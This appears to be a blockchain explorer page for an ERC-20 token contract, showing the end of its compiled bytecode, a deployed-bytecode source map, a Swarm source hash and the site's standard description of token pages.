050506040513d60208110156113f257600080fd5b50505050505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122076234b394417be182f3982875b4baec9603d5dc70673aceef0efffdba53e205a64736f6c63430007060033
Deployed Bytecode Sourcemap
2592:8182:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2908:41;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3944:158;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;3944:158:0;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;3044:42;;;:::i;:::-;;;;;;;;;;;;;;;;4110:248;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;4110:248:0;;;;;;;;;;;;;;;;;:::i;3002:35::-;;;:::i;:::-;;;;;;;;;;;;;;;;;;;4366:242;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;4366:242:0;;;;;;;;:::i;7761:190::-;;;;;;;;;;;;;;;;-1:-1:-1;7761:190:0;-1:-1:-1;;;;;7761:190:0;;:::i;3507:118::-;;;;;;;;;;;;;;;;-1:-1:-1;3507:118:0;-1:-1:-1;;;;;3507:118:0;;:::i;2681:20::-;;;:::i;:::-;;;;-1:-1:-1;;;;;2681:20:0;;;;;;;;;;;;;;2956:39;;;:::i;4616:404::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;4616:404:0;;;;;;;;:::i;3633:150::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;3633:150:0;;;;;;;;:::i;6689:254::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;6689:254:0;;;;;;;;:::i;:::-;;6409:272;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6409:272:0;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;6409:272:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;6409:272:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;6409:272:0;;-1:-1:-1;6409:272:0;;-1:-1:-1;;;;;6409:272:0:i;7959:844::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;7959:844:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;7959:844:0;;;;;;;;;;-1:-1:-1;7959:844:0;;-1:-1:-1;7959:844:0;-1:-1:-1;7959:844:0;:::i;3791:145::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;3791:145:0;;;;;;;;;;:::i;2908:41::-;;;;;;;;;;;;;;-1:-1:-1;;;2908:41:0;;;;:::o;3944:158::-;4018:4;4035:37;4044:10;4056:7;4065:6;4035:8;:37::i;:::-;-1:-1:-1;4090:4:0;3944:158;;;;:::o;3044:42::-;;;;:::o;4110:248::-;4232:4;4249:41;4265:4;4271:10;4283:6;4249:15;:41::i;:::-;4301:27;4311:4;4317:2;4321:6;4301:9;:27::i;:::-;-1:-1:-1;4346:4:0;4110:248;;;;;:::o;3002:35::-;3035:2;3002:35;:::o;4366:242::-;4454:4;4489:10;4510:68;4489:10;4528:7;4567:10;4537:27;4489:10;4528:7;4537:9;:27::i;:::-;:40;4510:8;:68::i;7761:190::-;7808:7;7829:10;7841;7857:5;;;;;;;;;-1:-1:-1;;;;;7857:5:0;-1:-1:-1;;;;;7857:17:0;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;7857:19:0;;;;;;;7895:5;;7857:19;7895:14;;-1:-1:-1;;;7895:14:0;;;;7857:19;;-1:-1:-1;7857:19:0;;-1:-1:-1;;;;;;7895:19:0;;;;:5;;;:12;;:14;;;;;7857:19;7895:14;;;;;;:5;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;7895:14:0;-1:-1:-1;;;;;7895:19:0;;7894:49;;7940:2;-1:-1:-1;;;;;7932:11:0;7894:49;;;7926:2;-1:-1:-1;;;;;7918:11:0;7894:49;7887:56;7761:190;-1:-1:-1;;;;7761:190:0:o;3507:118::-;-1:-1:-1;;;;;3599:18:0;3572:7;3599:18;;;:9;:18;;;;;;;3507:118::o;2681:20::-;;;-1:-1:-1;;;;;2681:20:0;;:::o;2956:39::-;;;;;;;;;;;;;;-1:-1:-1;;;2956:39:0;;;;:::o;4616:404::-;4709:4;4744:10;4709:4;4792:27;4744:10;4811:7;4792:9;:27::i;:::-;4765:54;;4858:15;4838:16;:35;;4830:85;;;;-1:-1:-1;;;4830:85:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4928:62;4937:7;4946;4974:15;4955:16;:34;4928:8;:62::i;:::-;-1:-1:-1;5008:4:0;;4616:404;-1:-1:-1;;;;4616:404:0:o;3633:150::-;3703:4;3720:33;3730:10;3742:2;3746:6;3720:9;:33::i;6689:254::-;3432:5;;-1:-1:-1;;;;;3432:5:0;3441:10;3432:19;3424:55;;;;;-1:-1:-1;;;3424:55:0;;;;;;;;;;;;-1:-1:-1;;;3424:55:0;;;;;;;;;;;;;;;6782:11:::1;6800:3:::0;;:10:::1;::::0;;-1:-1:-1;;;6800:10:0;;;;6796:19:::1;::::0;-1:-1:-1;;;;;6800:3:0::1;::::0;:8:::1;::::0;:10:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;:3;:10;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;::::0;::::1;;-1:-1:-1::0;6800:10:0;6812:2;6796:3:::1;:19::i;:::-;6782:33;;6830:18;6851:7;:5;:7::i;:::-;6830:28;;6873:11;6887:12;6892:3;6897:1;6887:4;:12::i;:::-;6873:26;;6914:21;6919:3;6924;6929:1;6932:2;6914:4;:21::i;:::-;3490:1;;;6689:254:::0;;:::o;6409:272::-;3432:5;;6551:4;;-1:-1:-1;;;;;3432:5:0;3441:10;3432:19;3424:55;;;;;-1:-1:-1;;;3424:55:0;;;;;;;;;;;;-1:-1:-1;;;3424:55:0;;;;;;;;;;;;;;;6573:9:::1;6568:84;6592:1;:8;6588:1;:12;6568:84;;;6622:18;6625:1;6627;6625:4;;;;;;;;;;;;;;6631:1;6634;6637:2;6622;:18::i;:::-;6602:3;;6568:84;;;-1:-1:-1::0;6669:4:0::1;::::0;6409:272;-1:-1:-1;;;;;6409:272:0:o;7959:844::-;3432:5;;-1:-1:-1;;;;;3432:5:0;3441:10;3432:19;3424:55;;;;;-1:-1:-1;;;3424:55:0;;;;;;;;;;;;-1:-1:-1;;;3424:55:0;;;;;;;;;;;;;;;8096:9:::1;8091:705;8111:15:::0;;::::1;8091:705;;;8398:2:::0;8156:239:::1;8376:2;8366:4;;8371:1;8366:7;;;;;;;;;;;;;8340:34;;:38;;8156:9;:239::i;:::-;:244;8152:629;;;8425:17;8445:241;8663:2;8653:4;;8658:1;8653:7;;;;;;;;;;;;;8627:34;;:38;;8683:2;8445:7;:241::i;:::-;8425:261;;8709:52;8742:4;;8747:1;8742:7;;;;;;;;;;;;;8751:9;8709:6;:52::i;:::-;8152:629;;8128:3;;8091:705;;3791:145:::0;-1:-1:-1;;;;;3900:19:0;;;3873:7;3900:19;;;:10;:19;;;;;;;;:28;;;;;;;;;;;;;3791:145::o;5591:387::-;-1:-1:-1;;;;;5729:21:0;;5721:70;;;;-1:-1:-1;;;5721:70:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;5810:21:0;;5802:68;;;;-1:-1:-1;;;5802:68:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;5883:19:0;;;;;;;:10;:19;;;;;;;;:28;;;;;;;;;;;;;:37;;;5936:34;;;;;;;;;;;;;;;;;5591:387;;;:::o;5986:417::-;6123:24;6150:27;6160:7;6169;6150:9;:27::i;:::-;6123:54;;-1:-1:-1;;6192:16:0;:37;6188:208;;6274:6;6254:16;:26;;6246:68;;;;;-1:-1:-1;;;6246:68:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;6331:53;6340:7;6349;6377:6;6358:16;:25;6331:8;:53::i;:::-;5986:417;;;;:::o;5028:555::-;-1:-1:-1;;;;;5159:18:0;;5151:68;;;;-1:-1:-1;;;5151:68:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;5238:16:0;;5230:64;;;;-1:-1:-1;;;5230:64:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;5329:15:0;;5307:19;5329:15;;;:9;:15;;;;;;5363:21;;;;5355:72;;;;-1:-1:-1;;;5355:72:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5456:24;5460:11;5473:6;5456:3;:24::i;:::-;-1:-1:-1;;;;;5438:15:0;;;;;;;:9;:15;;;;;;:42;;;;5511:13;;;;;;;5507:26;;5526:6;5507:3;:26::i;:::-;-1:-1:-1;;;;;5491:13:0;;;;;;;:9;:13;;;;;;;;;:42;;;;5549:26;;;;;;;5491:13;;5549:26;;;;;;;;;;;;;5028:555;;;;:::o;7603:148::-;7663:7;7683:11;7697:9;7703:2;7697:5;:9::i;:::-;7737:6;7725:8;;7724:19;;;;;;-1:-1:-1;;;7603:148:0:o;6949:204::-;7051:16;;;7065:1;7051:16;;;6989;7051;;;;;6989;;;7051;7065:1;7051:16;;;;;;;;;;-1:-1:-1;7051:16:0;7047:20;;7093:4;7078:1;7080;7078:4;;;;;;;;;;;;;:20;-1:-1:-1;;;;;7078:20:0;;;-1:-1:-1;;;;;7078:20:0;;;;;7116:3;;;;;;;;-1:-1:-1;;;;;7116:3:0;-1:-1:-1;;;;;7116:8:0;;:10;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;7116:10:0;7109:4;;:1;;7111;;7109:4;;;;;;-1:-1:-1;;;;;7109:17:0;;;:4;;;;;;;;;;;:17;7144:1;-1:-1:-1;6949:204:0;:::o;9619:590::-;9741:16;;;9755:1;9741:16;;;9704:20;9741:16;;;;;9684:7;;9704:20;;9741:16;9755:1;9741:16;;;;;;;;-1:-1:-1;;9776:3:0;;;:24;;;-1:-1:-1;;;9776:24:0;;;;;;;;;;;;;;;;;;;;;;9735:22;;-1:-1:-1;;;;;;9776:3:0;;;;:16;;-1:-1:-1;9793:3:0;;9798:1;;9776:24;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;9776:24:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;9776:24:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;9776:24:0;;;;;;;;;;;;-1:-1:-1;9776:24:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9770:30;;10117:3;10135:1;10117:32;;;;;;;;;;;;;;9811:9;:292;9875:1;9835:15;:42;:267;;10089:1;9835:267;;;10032:2;9998:9;:7;:9::i;:::-;9970:64;;9835:267;-1:-1:-1;;;;;9811:292:0;;;;;;;;;;;;-1:-1:-1;9811:292:0;;;:338;;;;;;;;10167:34;;:3;;-1:-1:-1;10167:34:0;;;;;;;;;;10160:41;;;9619:590;;;;:::o;7276:139::-;7368:6;:4;:6::i;:::-;7385:22;7391:3;7396;7401:1;7404:2;7385:5;:22::i;8811:170::-;8931:15;8941:1;8944;8931:9;:15::i;:::-;8957:16;8961:1;8964;8967;8970:2;8957:3;:16::i;9469:142::-;-1:-1:-1;;;;;9576:16:0;;9542:7;9576:16;;;:9;:16;;;;;;9569:34;;9594:8;9569:6;:34::i;:::-;9562:41;9469:142;-1:-1:-1;;;9469:142:0:o;10223:331::-;10524:22;10538:6;10524:5;:22::i;:::-;10502:2;10472:32;;;;10286:235;;;;:9;:235;;;;;:260;;;;-1:-1:-1;10223:331:0:o;2293:184::-;2351:7;2384:1;2379;:6;;2371:49;;;;;-1:-1:-1;;;2371:49:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;2443:5:0;;;2293:184::o;2104:181::-;2162:7;2194:5;;;2218:6;;;;2210:46;;;;;-1:-1:-1;;;2210:46:0;;;;;;;;;;;;;;;;;;;;;;;;;;;10564:207;10711:4;10742:2;10655:89;10564:207;:::o;7161:107::-;7229:3;;7197:63;;7214:4;;-1:-1:-1;;;;;7229:3:0;7235:24;7214:4;7235:9;:24::i;:::-;7197:8;:63::i;:::-;7161:107::o;7423:170::-;7516:3;;;;;;;;-1:-1:-1;;;;;7516:3:0;-1:-1:-1;;;;;7516:28:0;;7545:3;7550;7555:1;7558:2;7562:15;7580:4;7562:22;7516:69;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7516:69:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;7516:69:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;7516:69:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;7516:69:0;;;;;;;;;;;;-1:-1:-1;7516:69:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7423:170;;;;:::o;9100:140::-;9201:5;;9184:48;;;;;;;;-1:-1:-1;;;;;9184:48:0;;;;9201:5;;9184:48;;;;;;;;;;9100:140;;:::o;8989:103::-;9066:18;9072:1;9075;9078;9081:2;9066:5;:18::i;1890:101::-;1951:7;1982:1;1978;:5;;;;;;;1890:101;-1:-1:-1;;;1890:101:0:o;1999:97::-;2086:2;2076:6;;;2075:13;;1999:97::o;9248:213::-;9381:3;;9376:24;;;;;;9381:3;9376:24;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;9376:24:0;;;;9381:3;;9376:24;;;;;;;;;;9443:5;;9411:42;;;-1:-1:-1;;;9411:42:0;;-1:-1:-1;;;;;9411:42:0;;;;;;;9443:5;;;9411:42;;;;;;;;;;;;:20;;;;;;:42;;;;;;;;;;;;;;;9443:5;9411:20;:42;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;9248:213:0:o
Swarm Source
ipfs://76234b394417be182f3982875b4baec9603d5dc70673aceef0efffdba53e205a
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.